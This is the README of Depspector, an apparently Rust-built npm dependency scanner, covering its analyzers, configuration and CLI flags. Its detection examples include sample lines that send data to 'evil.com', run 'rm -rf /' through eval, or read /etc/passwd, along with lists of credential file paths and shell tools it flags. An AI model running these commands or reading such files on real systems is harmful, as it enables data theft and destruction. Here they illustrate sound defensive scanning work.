Depspector is an advanced post-install security analysis tool for npm dependencies. It goes beyond simple CVE checks by performing deep static analysis and behavioral heuristic detection on your node_modules.
Built with Rust for maximum performance and compiled to native Node.js bindings using napi-rs.
- 🕵️ Deep Static Analysis: Detects suspicious code patterns across 20 specialized analyzers:
- Environment Variables: Monitors
process.envaccess with configurable whitelisting - Network Activity: Detects network requests (
fetch,http,axios) with host whitelisting - Dynamic Code Execution: Flags
eval(),new Function(), andvm.runInContext()usage - File System Access: Detects access to 60+ sensitive paths (credentials, SSH keys, system files, etc.)
- Obfuscation Detection: Identifies suspiciously long strings (configurable threshold)
- Buffer Encoding: Flags suspicious
Buffer.from()usage that may decode payloads - Process Spawning: Detects child process execution and low-level spawn calls
- Secrets Detection: Identifies hardcoded credentials (AWS keys, private keys, API tokens)
- System Metadata: Flags collection of system information (
os.userInfo(), network interfaces) - Prototype Pollution: Detects attempts to pollute object prototypes
- Minified Code: Identifies minified or obfuscated code patterns
- IP Addresses: Detects hardcoded public IP addresses
- Base64 Blobs: Flags large Base64 strings that may contain hidden payloads
- Environment Variables: Monitors
- 🛡️ Supply Chain Security:
- CVE Detection: Checks packages against OSV (Open Source Vulnerabilities) database for known CVEs
- Typosquatting Detection: Identifies packages with names similar to popular libraries
- Cooldown Period: Flags newly published packages (configurable, default <72h)
- Dormant Package Detection: Alerts on packages updated after long inactivity (configurable, default >1 year)
- Reputation Analysis: Checks maintainer count, provenance, and publisher trustworthiness
- Lifecycle Scripts: Flags suspicious install/postinstall scripts
- Native Code: Alerts on packages with native bindings that can execute arbitrary code
- 📦 Comprehensive Scanning:
- Automatic transitive dependency scanning
- Parallel analysis for performance
- Smart package caching to avoid re-analyzing unchanged packages
- ⚙️ Highly Configurable:
- Fine-tune each analyzer via
.depspectorrcconfiguration file - Whitelist trusted domains, environment variables, and users
- Customize detection thresholds (string lengths, time periods, etc.)
- Enable/disable individual analyzers
- Configure severity levels and fail-fast behavior
- Fine-tune each analyzer via
- 🔍 Advanced Features:
- Incremental scanning with
--only-newflag - Cache management for faster subsequent scans
- Detailed reporting with severity levels (critical/high/medium/low)
- HTML reports with interactive dependency graphs (
--html) - Interactive TUI mode for issue review and management (
--interactive) - CI/CD friendly with configurable exit codes
- Incremental scanning with
NPM
npm install -g depspector # OR npm install --save-dev depspectorYARN
yarn add --dev depspectorRun Depspector in your project root:
npx depspector# Run with verbose output npx depspector --verbose # Clear cache before scanning npx depspector --clear-cache # Show only new issues npx depspector --only-new # Fail fast on first high severity issue npx depspector --fail-fast # Run in offline mode (skip network-dependent analyzers) npx depspector --offline # Analyze a different project directory npx depspector --cwd /path/to/project # Generate an HTML report with dependency graph npx depspector --html report.html # Run in interactive mode to review issues npx depspector --interactive # Show detailed benchmark/timing information npx depspector --benchmarkIf you're developing depspector, use these commands:
# Build the native binary (release) npm run build # Build the native binary (debug, faster compilation) npm run build:debug # Run Rust tests npm run cargo:test # Run locally node bin.js [options]-p, --path <path>: Path tonode_modules(default:./node_modules).--exclude-path <path...>: Exclude specific file paths from analysis (can be specified multiple times).-c, --config <path>: Path to configuration file (default:.depspectorrc).--cwd <path>: Working directory where to run the analysis (default:.).--verbose: Show detailed progress.--no-cache: Disable package result caching (forces fresh analysis even if unchanged).--no-color: Disable colored terminal output. Useful for piping to files or CI systems that don't support ANSI colors.--clear-cache: Clear stored cache entries before scanning (use to force full regeneration while keeping caching enabled afterward).--fail-fast: Stop analysis immediately when the first issue at or above the configuredexitWithFailureOnLevelis found (useful for CI/CD to fail quickly).--only-new: Show only new issues found in this scan, excluding issues from cached packages (useful for incremental analysis).--offline: Disable analyzers that require network access (CVE, cooldown, dormant, reputation, deprecated). Useful for environments without internet access or to speed up scans.-a, --analyzer <name...>: Run only specific analyzers (can be specified multiple times). Overrides config file settings. Example:--analyzer cve --analyzer deprecated.--ignore-issue <id...>: Ignore specific issues by their ID (can be specified multiple times). Issue IDs are displayed in brackets after each finding.--concurrency <n>: Maximum number of concurrent package analyses (defaults to number of CPU cores).--init-config [path]: Initialize a default configuration file. Defaults to.depspectorrcif no path is provided. Ifpackage.jsonis specified, the config is added to the"depspector"field.--json <path>: Output the analysis report as JSON to the specified file.--yaml <path>: Output the analysis report as YAML to the specified file.--csv <path>: Output the analysis report as CSV to the specified file. Each row contains: package, file, line, severity, type, message, code, id.--report-level <level>: Minimum severity level to report (critical,high,medium,low). Overrides the config file setting.--benchmark: Show detailed timing information for each analyzer and phase. Useful for performance profiling and identifying slow analyzers.--include-tests: Include test files in analysis. By default, test files are skipped (e.g.,*.test.js,*.spec.ts,jest.config.js).--include-dev-deps: Include dev dependencies in analysis. By default, dev dependencies are excluded to focus on production security.--skip-transient: Skip transient dependencies and only scan packages listed directly in your rootpackage.json(bothdependenciesanddevDependenciesif--include-dev-depsis set).--exclude-sources: Exclude local source files and workspace packages from analysis. By default, depspector scans both your project's source files and any workspace packages alongside node_modules dependencies.--exclude-deps: Exclude node_modules dependencies from analysis. Use with source scanning to analyze only your project's own code.
Depspector includes several optimizations for faster scanning:
- Native Performance: Written in Rust and compiled to native code for maximum speed.
- Package Caching: Caches both the fact a package was scanned and its findings. If a package's
package.jsonis unchanged, its previous results are reused in the report (not silently dropped) and the code is not re-parsed. - Parallel Analysis: Package-level analyzers and file-level analyzers run in parallel to maximize performance.
- Configurable Cache Directory: Use
cacheDirin configuration to control where cache files are stored (useful for CI environments). - Cache Freshness Control: Configure maximum cache lifetime with
cacheMaxAgeSecondsto automatically skip stale entries.
The first scan may be slow as it goes through all package dependencies.
To force a fresh scan of everything, either clear the cache directory or point cacheDir to a clean temporary location before running.
You can also use the CLI flags:
--clear-cacheto wipe existing cached entries before the scan starts.--no-cacheto skip both reading and writing cache data for that run.--only-newto show only issues from packages analyzed fresh in this run (cached packages are still listed but their issues are marked as cached).
Create a .depspectorrc (or .depspectorrc.json, depspector.config.json) file in your project root, or add a "depspector" property to your package.json:
{ "analyzers": { "network": { "allowedHosts": ["google.com", "api.stripe.com"] }, "reputation": { "whitelistedUsers": ["github-actions[bot]", "renovate[bot]"] }, "env": { "enabled": false, "allowedEnvVars": ["NODE_ENV", "CI"] }, "fs": { "enabled": true, "severity": "medium" }, "minified": { "severity": "low" } }, "exclude": ["internal-package"], "ignoreIssues": ["MYPACKAG-NETWORK-A1B2C3", "OTHERPACK-SECRETS-9F8E7D"], "exitWithFailureOnLevel": "high", "reportLevel": "medium" }| Option | Type | Default | Description |
|---|---|---|---|
analyzers | Object | All enabled | Configure individual analyzers (see Analyzers table). |
exclude | Array<string> | [] | Package names to exclude from scanning. |
excludePaths | Array<string> | [] | File paths (relative to package root) to exclude from analysis. |
ignoreIssues | Array<string> | [] | Issue IDs to ignore. Issue IDs are displayed in brackets after each finding in the report. |
exitWithFailureOnLevel | "critical" | "high" | "medium" | "low" | "off" | "high" | Exit with code 1 if issues at this severity level or higher are found. Use "off" to disable. |
reportLevel | "critical" | "high" | "medium" | "low" | "medium" | Only report issues at this severity level or higher. If not set, all issues are reported. |
failFast | boolean | false | Stop analysis immediately when first issue at or above exitWithFailureOnLevel is found. |
includeTests | boolean | false | Include test files in analysis. By default, test files are skipped (see patterns below). |
includeDevDeps | boolean | false | Include dev dependencies in analysis. By default, dev-only packages are excluded to focus on production security. |
includeOptionalDeps | boolean | false | Include optional dependencies in analysis. By default, optional packages are excluded. |
skipTransient | boolean | false | Skip transient dependencies and only scan packages listed in root package.json. |
cacheDir | string | System temp dir | Directory to cache analysis results. Defaults to OS temp directory. |
cacheMaxAgeSeconds | number | null | Max age for a cache entry in seconds. If set, entries older than this are ignored and re-analyzed. |
maxFileSize | number | 5242880 | Maximum file size in bytes for AST-based analyzers. Larger files are skipped. Default 5MB. |
astTimeoutMs | number | 0 | Timeout in milliseconds for AST parsing per file. 0 means no timeout. Useful for skipping files that take too long to parse. |
npm | Object | {} | NPM registry configuration (see below). |
Dependency Filtering:
By default, Depspector excludes dev and optional dependencies to focus on production security. This behavior can be customized:
- Dev dependencies: Packages that are only reachable through
devDependenciesin the dependency tree are excluded. UseincludeDevDeps: trueor--include-dev-depsto include them. - Optional dependencies: Packages that are only reachable through
optionalDependenciesin the dependency tree are excluded. UseincludeOptionalDeps: trueor--include-optional-depsto include them. - Transient dependencies: Packages that are not directly listed in your root
package.json(they're dependencies of your dependencies). UseskipTransient: trueor--skip-transientto exclude them and only scan direct dependencies.
Example combinations:
# Scan only production dependencies (default) npx depspector # Scan production + dev dependencies npx depspector --include-dev-deps # Scan production + optional dependencies npx depspector --include-optional-deps # Scan only direct dependencies (no transient) npx depspector --skip-transient # Scan only direct production + dev dependencies npx depspector --include-dev-deps --skip-transientTest File Patterns (skipped by default):
The following patterns are recognized as test files and excluded unless includeTests is enabled:
- Suffixes:
*.test.js,*.spec.ts,*.tests.js,*.specs.ts,*_test.js,*-spec.ts(and variants for.mjs,.cjs) - Config files:
jest.config.js,jest.setup.ts,vitest.config.js,karma.conf.js,mocha.opts - Helper files:
test.js,spec.js,test-helper.js,test-utils.js,setup-tests.js
The npm object allows you to configure custom npm registries and authentication:
{ "npm": { "registry": "https://registry.npmjs.org", "token": "your-npm-token" } }Or with basic authentication:
{ "npm": { "registry": "https://custom-registry.example.com", "username": "your-username", "password": "your-password" } }| Property | Type | Description |
|---|---|---|
registry | string | NPM registry URL (default: https://registry.npmjs.org) |
token | string | NPM authentication token (Bearer token) |
username | string | Username for basic authentication |
password | string | Password for basic authentication |
Depspector can use AI (OpenAI or Google Gemini) to automatically verify reported issues and filter out false positives. This significantly reduces noise by analyzing the code context around each finding.
Add the ai section to your .depspectorrc:
{ "ai": { "enabled": true, "provider": "openai", "apiKey": "your-api-key", "model": "gpt-4o-mini", // Optional, defaults to gpt-4o-mini "threshold": "high", // Only verify High and Critical issues "endpoint": "https://your-custom-openai-instance/v1/chat/completions", // Optional, for self-hosted LLMs "maxIssues": 10 // Optional, limit the number of issues verified (prioritizing critical) } }| Property | Type | Default | Description |
|---|---|---|---|
enabled | bool | false | Enable AI verification. |
provider | string | "openai" | AI provider: "openai" or "gemini". |
apiKey | string | null | API key. Can also be set via OPENAI_API_KEY or GEMINI_API_KEY env vars. |
model | string | (auto) | Model to use (e.g., gpt-4o-mini, gemini-1.5-flash). |
threshold | string | "high" | Minimum severity to verify. Low severity issues are skipped to save tokens. |
endpoint | string | (auto) | Custom endpoint for OpenAI or Gemini. |
maxIssues | number | 10 | Maximum number of issues to verify. |
Caution
Privacy Warning: When AI verification is enabled, snippets of your code (including the flagged lines and surrounding context) are sent to the configured third-party AI provider. Do not enable this on codebases with strict data egress policies without review.
Privacy Warning: When AI verification is enabled, snippets of your code (including the flagged lines and surrounding context) are sent to the configured third-party AI provider. Do not enable this on codebases with strict data egress policies without review.
Depspector includes an interactive terminal user interface (TUI) for reviewing and managing identified issues. Run with --interactive (or -i) to start this mode.
Features of Interactive Mode:
- Browse Issues: Navigate through the list of found issues.
- View Details: See full issue details, including code snippets and AI analysis.
- Ignore Issues: Quickly add false positives to your configuration's ignore list with a single keystroke.
- Open in Editor: Open the relevant file in your default editor at the specific line number.
Generate a comprehensive HTML report including a visual dependency graph using Mermaid.js:
npx depspector --html report.htmlThe report includes:
- Summary: Overview of found issues by severity.
- Dependency Graph: A visual representation of your project's dependency tree, highlighting relationships between packages.
- Detailed Findings: Full list of issues with code snippets, severity levels, and AI verification results.
To automatically scan dependencies after every install, add this to your package.json:
{ "scripts": { "postinstall": "depspector" } }Sometimes you may want to ignore specific issues that are false positives or accepted risks. Each issue detected by Depspector has a unique ID displayed in the report output.
When you run a scan, issue IDs are shown in gray brackets after each finding:
[MEDIUM] Suspicious network request detected (Line 42) [ID: MYPACKAG-NETWORK-A1B2C3] Add issue IDs to your .depspectorrc file:
{ "ignoreIssues": ["MYPACKAG-NETWORK-A1B2C3", "OTHERPACK-SECRETS-9F8E7D"] }You can also ignore issues temporarily using the --ignore-issue flag:
# Ignore a single issue npx depspector --ignore-issue MYPACKAG-NETWORK-A1B2C3 # Ignore multiple issues npx depspector --ignore-issue MYPACKAG-NETWORK-A1B2C3 --ignore-issue OTHERPACK-SECRETS-9F8E7DThe CLI flag can be combined with configuration file settings. Both will be merged together.
If you pass ignored issue IDs that do not match any findings, Depspector will print a note listing those IDs so you can clean up stale ignores.
All analyzers support the following common configuration options:
| Property | Type | Default | Description |
|---|---|---|---|
enabled | boolean | true | Enable or disable the analyzer. |
severity | "critical" | "high" | "medium" | "low" | (per-issue) | Override severity for all issues from this analyzer. If not set, each issue uses its own level. |
Example:
{ "analyzers": { "minified": { "enabled": true, "severity": "low" }, "secrets": { "severity": "critical" } } }| Analyzer | Default | Description |
|---|---|---|
base64 | âś… | Flags large Base64 blobs. Configurable minBufferLength. |
buffer | âś… | Flags suspicious Buffer.from() usage. Configurable minBufferLength. |
cooldown | âś… | Flags newly published packages. Configurable hoursSincePublish. |
cve | âś… | Checks packages against OSV.dev database for known CVEs. Configurable timeout & thresholds. |
deprecated | âś… | Detects packages marked as deprecated in the npm registry. |
dormant | âś… | Alerts on packages updated after long inactivity. Configurable daysSincePreviousPublish. |
dynamic | ❌ | Detects vm.runInContext() and dynamic require patterns. Disabled by default due to high noise. |
env | âś… | Detects access to environment variables (process.env). Supports allowedEnvVars whitelist. |
eval | âś… | Flags eval(), new Function(), and setTimeout/setInterval with strings. Severity based on content. |
fs | âś… | Detects access to sensitive paths. Supports additionalDangerousPaths. |
ip | âś… | Detects hardcoded public IP addresses. Ignores private ranges. |
license | âś… | Detects packages using restrictive or problematic licenses. Supports allowedLicenses whitelist. |
metadata | ❌ | Flags collection of system information (os.userInfo(), network interfaces). Disabled by default. |
minified | âś… | Identifies minified or obfuscated code. Configurable line length and variable density. |
native | âś… | Alerts on packages with native bindings. |
network | âś… | Detects network requests. Supports allowedHosts whitelist with sensible defaults. |
obfuscation | âś… | Detects suspiciously long strings (potential obfuscation). Configurable minStringLength. |
pollution | âś… | Detects prototype pollution attempts. |
process | âś… | Detects child process spawning and low-level spawn calls. |
reputation | âś… | Checks maintainer count and publisher trustworthiness. Supports whitelistedUsers. |
scripts | âś… | Flags suspicious lifecycle scripts (install, postinstall, preinstall). Supports allowedCommands. |
secrets | âś… | Identifies hardcoded credentials (AWS keys, private keys, API tokens). |
typosquat | ❌ | Identifies packages with names similar to popular libraries. Disabled by default due to performance impact. |
Note: Disabled analyzers (❌) can be enabled by setting
"enabled": truein your configuration details.
The process analyzer detects child process execution (spawn, exec, execFile). You can whitelist specific commands that are safe to execute:
{ "analyzers": { "process": { "allowedCommands": ["git", "node", "npm"] } } }| Property | Type | Default | Description |
|---|---|---|---|
allowedCommands | string[] | [] | List of commands allowed to be spawned |
The license analyzer checks package licenses against a list of risky licenses. You can configure which licenses are considered risky and their severity:
{ "analyzers": { "license": { "riskyLicenses": { "GPL-3.0": "high", "AGPL-3.0": "critical" }, "allowedLicenses": ["MIT", "Apache-2.0"] } } }| Property | Type | Default | Description |
|---|---|---|---|
riskyLicenses | Object | (defaults) | Map of license IDs to severity levels. |
allowedLicenses | string[] | [] | List of explicitly allowed licenses (overrides risky). |
The typosquat analyzer checks for packages with names similar to popular ones. You can manually add packages to the list of popular packages:
{ "analyzers": { "typosquat": { "popularPackages": ["react", "lodash", "express"] } } }| Property | Type | Default | Description |
|---|---|---|---|
popularPackages | string[] | [] | List of additiona popular package names to check against |
The cve analyzer queries the OSV.dev database for known vulnerabilities affecting your dependencies. It maps CVE severity scores to Depspector's severity levels.
CVSS Score Thresholds:
- Critical: CVSS score ≥ 9.0
- High: CVSS score ≥ 7.0
- Medium: CVSS score ≥ 4.0
- Low: CVSS score < 4.0
{ "analyzers": { "cve": { "enabled": true, "cvssCritical": 9.0, "cvssHigh": 7.5, "cvssMedium": 4.5 } } }| Property | Type | Default | Description |
|---|---|---|---|
cvssCritical | number | 9.0 | Minimum score for Critical severity. |
cvssHigh | number | 7.0 | Minimum score for High severity. |
cvssMedium | number | 4.0 | Minimum score for Medium severity. |
Note: CVE scanning requires network access to api.osv.dev. Queries are made per package version and failures are silently ignored to avoid blocking analysis on network issues.
The env analyzer detects access to environment variables (process.env). By default, common Node.js environment variables are whitelisted to reduce noise:
Default Allowed Variables: NODE_ENV, DEBUG, PORT, HOST, HOSTNAME, PATH, HOME, USER, SHELL, LANG, LC_ALL, TZ, CI, npm_package_name, npm_package_version, npm_lifecycle_event, NODE_DEBUG, NODE_OPTIONS, NODE_PATH, UV_THREADPOOL_SIZE, NODE_EXTRA_CA_CERTS, NODE_TLS_REJECT_UNAUTHORIZED, NO_COLOR, FORCE_COLOR, TERM, COLORTERM, PWD, OLDPWD, TMPDIR, TEMP, TMP
You can override the defaults with your own whitelist:
{ "analyzers": { "env": { "allowedEnvVars": ["NODE_ENV", "CI", "MY_CUSTOM_VAR"] } } }| Property | Type | Default | Description |
|---|---|---|---|
allowedEnvVars | string[] | (common Node.js env vars) | Environment variables to ignore when accessed. |
Any access to process.env.<VAR> where <VAR> is in allowedEnvVars will be ignored. Bare process.env access and non-whitelisted variables will still be reported.
The network analyzer detects network requests (fetch, axios, http.get, WebSocket, etc.). By default, common safe hosts are whitelisted to reduce noise from legitimate package behavior:
Default Allowed Hosts: localhost, 127.0.0.1, ::1, 0.0.0.0, registry.npmjs.org, registry.yarnpkg.com, npm.pkg.github.com, github.com, raw.githubusercontent.com, api.github.com, gitlab.com, bitbucket.org, npmjs.com, unpkg.com, cdn.jsdelivr.net, esm.sh, deno.land
You can override the defaults with your own whitelist:
{ "analyzers": { "network": { "allowedHosts": ["api.mycompany.com", "internal.service.local"] } } }| Property | Type | Default | Description |
|---|---|---|---|
allowedHosts | string[] | (common safe hosts) | Hosts to ignore when network requests are made. |
Data Flow Analysis: The analyzer uses data flow analysis to resolve URLs stored in variables, template literals, and string concatenation:
// Direct URL - detected fetch("http://evil.com/steal"); // Variable - resolved via data flow analysis const url = "http://evil.com/steal"; fetch(url); // Detected // Template literal - resolved const host = "evil.com"; fetch(`http://${host}/steal`); // DetectedNote: The analyzer only flags actual network function calls (like fetch(), axios.get(), http.request()). URL strings in configuration objects or templates are not flagged.
The fs analyzer detects suspicious file system access. By default, it checks for sensitive paths like /etc/passwd, .ssh, .npmrc, /proc/self/environ, and lock files. The analyzer uses data flow analysis to resolve paths stored in variables, template literals, string concatenation, and object properties.
Data Flow Examples:
// Direct path - detected fs.readFileSync("/etc/passwd"); // Variable - resolved via data flow analysis const path = "/etc/passwd"; fs.readFile(path); // Detected // Template literal - resolved const base = "/etc"; fs.readFile(`${base}/passwd`); // Detected // String concatenation - resolved fs.readFile("/etc" + "/passwd"); // Detected // Object property - resolved const config = { path: "/etc/passwd" }; fs.readFile(config.path); // DetectedYou can add additional paths to monitor:
{ "analyzers": { "fs": { "additionalDangerousPaths": [".env", ".aws/credentials", "/etc/shadow"] } } }| Property | Type | Default | Description |
|---|---|---|---|
additionalDangerousPaths | string[] | [] | Additional file paths to flag as suspicious when accessed. |
The default dangerous paths include:
Unix/Linux System Files:
/etc/passwd,/etc/shadow,/etc/hosts,/etc/group/proc/self/environ,/proc/self/cmdline,/proc/self/cwd
SSH & Authentication:
.ssh,id_rsa,id_ed25519,authorized_keys,known_hosts
NPM & Package Managers:
.npmrc,.yarnrc,.npmrc.yaml
Environment & Secrets:
.env,.env.local,.env.production,.env.development
Cloud Credentials:
.aws/credentials,.aws/config.azure/credentials.config/gcloud
Git Credentials:
.git/config,.git/credentials,.gitconfig,.git-credentials
Container & Orchestration:
.docker/config.json.kube/config,kubeconfig
Database Credentials:
.pgpass,.my.cnf,.redis/redis.conf
Lock Files:
package-lock.json,yarn.lock,pnpm-lock.yamlcomposer.lock,Gemfile.lock
Private Keys & Certificates:
.pem,.key,.p12,.pfx,.crt,.csrprivate_key,privatekey
Shell History:
.bash_history,.zsh_history,.sh_history
Windows Specific:
C:\Windows\System32\config\SAM,C:\Windows\System32\config\SYSTEMNTUSER.DAT
The obfuscation analyzer detects suspiciously long strings that may indicate obfuscated code. You can configure the minimum string length threshold:
{ "analyzers": { "obfuscation": { "minStringLength": 150 } } }| Property | Type | Default | Description |
|---|---|---|---|
minStringLength | number | 200 | Minimum length of a string (without spaces) to be flagged as suspicious. |
The buffer analyzer detects suspicious Buffer.from() usage that may indicate payload decoding or obfuscated code execution. You can configure the minimum buffer string length:
{ "analyzers": { "buffer": { "minBufferLength": 100 } } }| Property | Type | Default | Description |
|---|---|---|---|
minBufferLength | number | 100 | Minimum length of buffer content to be flagged as suspicious. |
The minified analyzer identifies minified or obfuscated code using heuristics like line length and whitespace density. You can fine-tune these thresholds:
{ "analyzers": { "minified": { "maxLineLength": 1000, "maxWhitespaceRatio": 0.05, "minCodeLength": 500 } } }| Property | Type | Default | Description |
|---|---|---|---|
maxLineLength | number | 1000 | Lines longer than this (chars) are flagged as suspicious. |
maxWhitespaceRatio | number | 0.05 | Files with whitespace ratio below this (e.g. 5%) are flagged. |
minCodeLength | number | 500 | Minimum file size (chars) to analyze, preventing noise on small files. |
The ip analyzer detects hardcoded public IP addresses. It automatically ignores private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8) and other non-routable addresses.
You can also whitelist specific IP addresses:
{ "analyzers": { "ip": { "enabled": true, "allowedIps": ["8.8.8.8", "1.1.1.1"] } } }| Property | Type | Default | Description |
|---|---|---|---|
allowedIps | string[] | [] | List of IP addresses to ignore. |
The base64 analyzer flags large Base64 strings that might conceal payloads. You can configure the minimum length:
{ "analyzers": { "base64": { "minBufferLength": 1000 } } }| Property | Type | Default | Description |
|---|---|---|---|
minBufferLength | number | 1000 | Minimum length of Base64 string to be flagged. |
The minified analyzer uses heuristics to detect minified or obfuscated code.
{ "analyzers": { "minified": { "maxLineLength": 1000, "minCodeLength": 500, "maxWhitespaceRatio": 0.05 } } }| Property | Type | Default | Description |
|---|---|---|---|
maxLineLength | number | 1000 | Max characters per line before flagging. |
minCodeLength | number | 500 | Minimum file size to apply whitespace check. |
maxWhitespaceRatio | number | 0.05 | Max ratio of whitespace to code (5%). |
The cooldown analyzer flags recently published packages. You can configure the time threshold:
{ "analyzers": { "cooldown": { "hoursSincePublish": 48 } } }| Property | Type | Default | Description |
|---|---|---|---|
hoursSincePublish | number | 72 | Packages published within this many hours are flagged as new. |
The dormant analyzer flags packages that were updated after a long period of inactivity. You can configure the dormancy threshold:
{ "analyzers": { "dormant": { "daysSincePreviousPublish": 180 } } }| Property | Type | Default | Description |
|---|---|---|---|
daysSincePreviousPublish | number | 365 | Packages updated after this many days of inactivity are flagged as dormant. |
The reputation analyzer can be configured to whitelist specific users (such as automated accounts) that should not trigger reputation issues:
{ "analyzers": { "reputation": { "whitelistedUsers": ["github-actions[bot]", "renovate[bot]"] } } }This is useful for allowing packages published by bots like GitHub Actions, Renovate, or Release Please to bypass reputation checks.
The scripts analyzer flags suspicious lifecycle scripts (preinstall, install, postinstall). By default, common safe commands used by legitimate packages are whitelisted:
Default Allowed Commands (partial list):
- Package managers:
npm run,npm install,yarn run,pnpm run,lerna,nx,turbo - Git hooks:
husky,lint-staged,simple-git-hooks,lefthook - Build tools:
tsc,babel,webpack,rollup,esbuild,vite,parcel,swc - Native builds:
node-gyp,prebuild,prebuild-install,cmake-js,node-pre-gyp - Utilities:
patch-package,rimraf,shx,cross-env,copyfiles,ncp,cpy
You can add additional allowed commands with your own list:
{ "analyzers": { "scripts": { "allowedCommands": ["my-build-tool", "custom-script"] } } }You can also whitelist specific script events entirely:
{ "analyzers": { "scripts": { "allowedScripts": ["postinstall"] } } }| Property | Type | Default | Description |
|---|---|---|---|
allowedCommands | string[] | (common safe build/install commands) | Additional commands to ignore in lifecycle scripts. |
allowedScripts | string[] | [] | Script events to ignore entirely (e.g., postinstall). |
Severity Classification: The scripts analyzer assigns severity based on script content:
- Critical: Scripts containing
curl,wget,bash -c,sh -c,eval,>, or pipe commands with URLs - High: Other potentially dangerous scripts
- Medium: Scripts with less risky operations
The eval analyzer detects dynamic code execution via eval(), new Function(), and setTimeout/setInterval with string arguments. Severity is determined by analyzing the content being evaluated.
Severity Classification:
-
Critical: Content contains suspicious patterns:
- URLs (
://,file://,data:) - Code execution (
eval(,require(,exec(,spawn(,process.,child_process,fs.,Buffer.) - Network operations (
fetch(,XMLHttpRequest,WebSocket) - Obfuscation (
\x,\u00,fromCharCode,atob(,btoa()
- URLs (
-
Medium: Safe/common patterns used by legitimate libraries:
return this(common pattern to get global object)return function,use strict,return arguments- Short, simple content (< 50 characters without semicolons)
-
High: Everything else (dynamic content that can't be resolved, longer code)
Examples:
// Medium severity - common safe pattern new Function("return this")(); // Critical severity - contains network URL new Function("fetch('http://evil.com')")(); // Critical severity - contains code execution eval("require('child_process').exec('rm -rf /')"); // Medium severity - simple content eval("1 + 1");The license analyzer checks package licenses for compliance with your organization's policies. It identifies packages using restrictive licenses that require derivative works to be published under the same license (copyleft), as well as licenses requiring source attribution.
Problematic License Categories:
-
Restrictive (High Severity): Require derivative works to be open source
- GPL (all versions):
GPL,GPL-2.0,GPL-3.0,GPL-3.0-or-later - AGPL:
AGPL,AGPL-3.0,AGPL-3.0-or-later - SSPL: Server Side Public License
- EUPL: European Union Public License v1.2+
- GPL (all versions):
-
Moderate (Medium Severity): Require source code attribution
- MPL:
MPL,MPL-2.0 - CDDL: Common Development and Distribution License
- CPAL: Common Public Attribution License
- MPL:
Allowed Licenses (No Issues):
- MIT, Apache-2.0, BSD-2-Clause, BSD-3-Clause, ISC, and other permissive licenses
You can whitelist specific licenses that you've approved for use:
{ "analyzers": { "license": { "allowedLicenses": ["GPL-3.0", "custom-commercial-license"] } } }| Property | Type | Default | Description |
|---|---|---|---|
allowedLicenses | string[] | [] | Licenses to allow despite being flagged as restrictive. |
Example Output:
HIGH [license] (ID: PKG-LICENSE-ABC123): Package uses GPL-3.0 license which requires derivative works to be published under the same license. package.json:5 "license": "GPL-3.0" // Direct call - detected exec("curl http://evil.com"); // Variable - resolved via data flow analysis const cmd = "curl http://evil.com"; exec(cmd); // Detected as critical (curl) // Object property - resolved via data flow analysis const config = { binary: "bash" }; spawn(config.binary); // Detected as critical (bash)Severity Classification: The process analyzer classifies severity based on the executed binary:
- Critical:
curl,wget,nc,netcat,bash,sh,zsh,fish,cmd,powershell,pwsh,python,perl,ruby,php,eval - High:
node,npm,npx,yarn,pnpm,bun,deno,git,make,cmake,cargo,go,rustc,gcc,g++,clang,javac,java - Medium:
cp,mv,rm,mkdir,rmdir,chmod,chown,cat,echo,ls,dir,find,grep,sed,awk,tar,gzip,zip,unzip
Additionally, critical severity is assigned for:
- Commands containing URLs (
://) - Pipe chains (
|) - Shell injection patterns (
|bash,|sh) process.binding('spawn_sync')calls
Configuration Options:
{ "analyzers": { "process": { "enabled": true, "allowed_commands": ["git", "node", "npm"] } } }allowed_commands: Array of command names that are safe to execute and should not trigger issues. Commands are matched case-insensitively by their binary name (e.g.,/usr/bin/gitmatches"git").
Depspector provides pre-built native binaries for the following platforms:
| Platform | Architecture |
|---|---|
| macOS | x64, ARM64 |
| Linux (glibc) | x64, ARM64 |
| Linux (musl/Alpine) | x64 |
| Windows | x64 |
If you need to build Depspector from source:
# Clone the repository git clone https://github.com/drodil/depspector.git cd depspector # Install dependencies npm install # Build native binary (release) npm run build # Build native binary (debug) npm run build:debug # Run Rust tests cargo test # Run Clippy linter cargo clippy -- -D warnings # Format code cargo fmtWe welcome contributions! Please see our Contributing Guidelines for more information.
MIT
